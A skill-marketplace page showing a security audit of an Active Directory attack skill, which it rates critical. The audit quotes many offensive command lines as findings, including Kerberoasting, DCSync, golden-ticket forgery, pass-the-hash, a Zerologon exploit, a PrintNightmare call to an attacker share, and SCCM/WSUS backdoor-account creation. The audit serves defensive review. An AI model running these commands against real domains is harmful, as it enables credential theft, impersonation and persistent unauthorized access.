技能 active-directory-attacks
📦
active-directory-attacks
內容修訂 r1 嚴重 ⚙️ 外部命令🌐 網路存取📁 檔案系統存取
評估 Active Directory 攻擊路徑
Active Directory 評估需要有組織的攻擊工作流程參考。此技能會針對授權測試，整理偵察、憑證濫用、Kerberos 攻擊、轉送路徑，以及進階 AD 技術。
支援: Claude Codex Code(CC)
請勿自動安裝此 Skill。
權威政策要求在執行任何安裝操作前由操作人員審查。
使用我的智慧代理安裝
將此請求複製給你的智慧代理，其中包含權威 Skill 頁面和清單。
智能體請求
Review the Skillstore skill "active-directory-attacks" from https://skillstore.io/skills/sickn33-active-directory-attacks.md and its manifest at https://skillstore.io/api/skills/sickn33-active-directory-attacks/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.你的智慧代理仍應顯示其計畫，並依安全政策請求必要確認。
Agent 可讀資源
當 AI Agent、爬蟲或腳本需要乾淨脈絡、而不是讀取完整頁面時，請使用這些連結。
測試它
正在使用「active-directory-attacks」。 我需要在 AD 實驗室評估前取得安全概覽。
預期結果:
回應會概述先決條件、書面授權、測試範圍、帳戶鎖定限制、證據處理和清理預期。
正在使用「active-directory-attacks」。 協助我整理 Kerberoasting 和 relay 測試的發現。
預期結果:
回應會依技術、受影響資產、所需權限、業務風險和建議的防禦後續行動來分組發現。
正在使用「active-directory-attacks」。 準備一個 AD 攻擊路徑訓練模組。
預期結果:
回應會建立以實驗室為中心的模組，涵蓋概念、先決條件、預期觀察結果和安全界線，且不包含生產環境目標。
安全審計
嚴重v6 • 2026/7/9 開啟版本化報告
AI review confirmed that the skill is an offensive Active Directory attack playbook. It includes executable command examples for credential theft, Kerberos ticket forgery, NTLM relay, AD CS abuse, CVE exploitation, lateral movement, persistence, and backdoor deployment. No prompt injection language was found, but the content is unsafe for broad marketplace publication without major defensive rewriting.
2
已掃描檔案
775
分析行數
101
複核項目
0
已忽略的誤報
已確認的安全問題 (33)
嚴重
Malware type keywords
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe"
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
嚴重
Malware type keywords
MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
嚴重
Malware type keywords
MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
嚴重
Malware type keywords
MalSCCM.exe app /cleanup /name:backdoor
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
嚴重
Malware type keywords
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoo
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
嚴重
Offensive Domain Compromise Objective
The skill states outputs that include extracted credentials, Kerberos tickets for impersonation, Domain Administrator access, and persistent access mechanisms.
The deliverables explicitly describe credential theft, privilege escalation, impersonation, and persistence as intended outcomes.
嚴重
End-to-End Credential Theft Workflow
The skill chains DCSync, Kerberoasting, ticket forgery, pass-the-hash, and certificate authentication into actionable compromise workflows.
The cited sections provide a coherent path from credential extraction to authentication as privileged users.
嚴重
Backdoor Deployment and Persistence Workflow
The advanced reference shows creating malicious applications and updates that add backdoor accounts, then cleaning deployment records.
The section explicitly describes malicious SCCM and WSUS deployment steps that create backdoor access.
顯示全部 33 條已確認問題
高
Certificate/key files
certipy auth -pfx administrator.pfx -dc-ip DC_IP
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
高
Certificate/key files
python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccach
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
高
Certificate/key files
klist -k /etc/krb5.keytab
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
高
Certificate/key files
python3 keytabextract.py /etc/krb5.keytab
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
高
Windows registry access
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
The registry modification enables DSRM administrator logon behavior after dumping credentials. This changes Windows authentication behavior for persistence or privilege abuse.
高
Weak cryptographic algorithm
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domai
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
高
Weak cryptographic algorithm
.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.dom
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
高
Weak cryptographic algorithm
kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
高
Secure file deletion
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
The static label is imprecise, but the line changes HKLM DSRM logon behavior in an offensive credential workflow. It remains a confirmed security risk because it enables persistence.
高
Certificate/key files
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
高
Weak cryptographic algorithm
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.lo
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
高
Weak cryptographic algorithm
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
高
Network scanning tools
nmap -sT 10.10.10.10 -p445 --script smb2-time
The nmap command targets SMB on a domain controller address to prepare Kerberos and AD attack workflows. This is active network probing guidance.
高
Authorization Disclaimer Without Enforceable Guardrails
The file includes an authorized-use note, but the rest of the skill provides full attack workflows without refusal criteria or defensive-only fallbacks.
The disclaimer is real, but it does not constrain the actionable offensive content that follows throughout the skill.
中
System reconnaissance
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
中
System reconnaissance
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://targ
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
中
Network reconnaissance
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
中
Network reconnaissance
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
中
Network reconnaissance
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -pr
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
中
System reconnaissance
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
中
Network reconnaissance
Find-LocalAdminAccess -Verbose
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
中
Network reconnaissance
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
低
Network reconnaissance
- ADFS service account access
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
低
System reconnaissance
- Have valid domain credentials for most attacks
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
低
Network reconnaissance
- Domain Administrator access
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
能力複核項目 (101)
這些是真實的本機能力，對此技能而言可能是預期行為，因此需要複核，但不會按已確認的惡意行為計分。
嚴重
Windows cmd.exe
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe"
The command uses cmd.exe to create a backdoor user through GPO or WSUS abuse. This is direct persistence and unauthorized access guidance.
嚴重
Windows cmd.exe
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoo
The command uses cmd.exe to create a backdoor user through GPO or WSUS abuse. This is direct persistence and unauthorized access guidance.
高
Shell command substitution
New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPl
The command creates an attacker-controlled machine account for resource-based constrained delegation. The substitution builds a password object inside an exploitation workflow.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
# PowerShell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
# PowerShell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
# PowerShell + DSInternals
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
Hardcoded URL
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainCo
The URL is used as an attack endpoint for AD CS relay or ADFS Golden SAML abuse. Even though it is a placeholder domain, it is part of executable exploitation guidance.
高
Hardcoded URL
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://targ
The URL is used as an attack endpoint for AD CS relay or ADFS Golden SAML abuse. Even though it is a placeholder domain, it is part of executable exploitation guidance.
高
Hidden file access
/var/lib/sss/secrets/.secrets.mkey
The hidden file path is the SSSD secrets key used for Linux AD credential extraction. The surrounding section explains extracting and reusing authentication secrets.
高
Ruby/shell backtick execution
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
高
Ruby/shell backtick execution
| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
高
Ruby/shell backtick execution
| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
高
Ruby/shell backtick execution
| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
高
Ruby/shell backtick execution
| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
高
Ruby/shell backtick execution
| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
高
sudo privilege escalation
sudo date -s "14 APR 2024 18:25:16"
The command indicator appears in executable examples for Active Directory attacks. The skill teaches users how to run offensive tooling, so the risk is confirmed.
高
Hardcoded URL
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainCo
The URL is used as an attack endpoint for AD CS relay or ADFS Golden SAML abuse. Even though it is a placeholder domain, it is part of executable exploitation guidance.
中
Temp directory access
ls /tmp/ | grep krb5cc
The temp directory access is used to locate and reuse Kerberos credential caches. In context, it supports ticket theft or impersonation workflows.
中
Temp directory access
export KRB5CCNAME=/tmp/krb5cc_1000
The temp directory access is used to locate and reuse Kerberos credential caches. In context, it supports ticket theft or impersonation workflows.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```powershell
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```powershell
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```powershell
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
中
Hardcoded IP address
nmap -sT 10.10.10.10 -p445 --script smb2-time
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
中
Hardcoded IP address
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
風險因素
⚙️ 外部命令 (50)
references/advanced-attacks.md:70 references/advanced-attacks.md:23 references/advanced-attacks.md:24 references/advanced-attacks.md:44 references/advanced-attacks.md:51 references/advanced-attacks.md:56 references/advanced-attacks.md:68 references/advanced-attacks.md:85 references/advanced-attacks.md:91 references/advanced-attacks.md:131 references/advanced-attacks.md:169 references/advanced-attacks.md:262 references/advanced-attacks.md:305 references/advanced-attacks.md:306 references/advanced-attacks.md:315 references/advanced-attacks.md:316 references/advanced-attacks.md:339 references/advanced-attacks.md:99 references/advanced-attacks.md:185 SKILL.md:57-69 SKILL.md:69-73 SKILL.md:73-84 SKILL.md:84-88 SKILL.md:88-109 SKILL.md:109-117 SKILL.md:117-123 SKILL.md:123-129 SKILL.md:129-141 SKILL.md:141-147 SKILL.md:147-156 SKILL.md:156-162 SKILL.md:162-169 SKILL.md:169-179 SKILL.md:179-188 SKILL.md:188-194 SKILL.md:194-197 SKILL.md:197-201 SKILL.md:201-210 SKILL.md:210-216 SKILL.md:216-223 SKILL.md:223-231 SKILL.md:231-240 SKILL.md:240-244 SKILL.md:244-246 SKILL.md:246-254 SKILL.md:254-263 SKILL.md:263-267 SKILL.md:267-269 SKILL.md:269-277 SKILL.md:277-289
🌐 網路存取 (30)
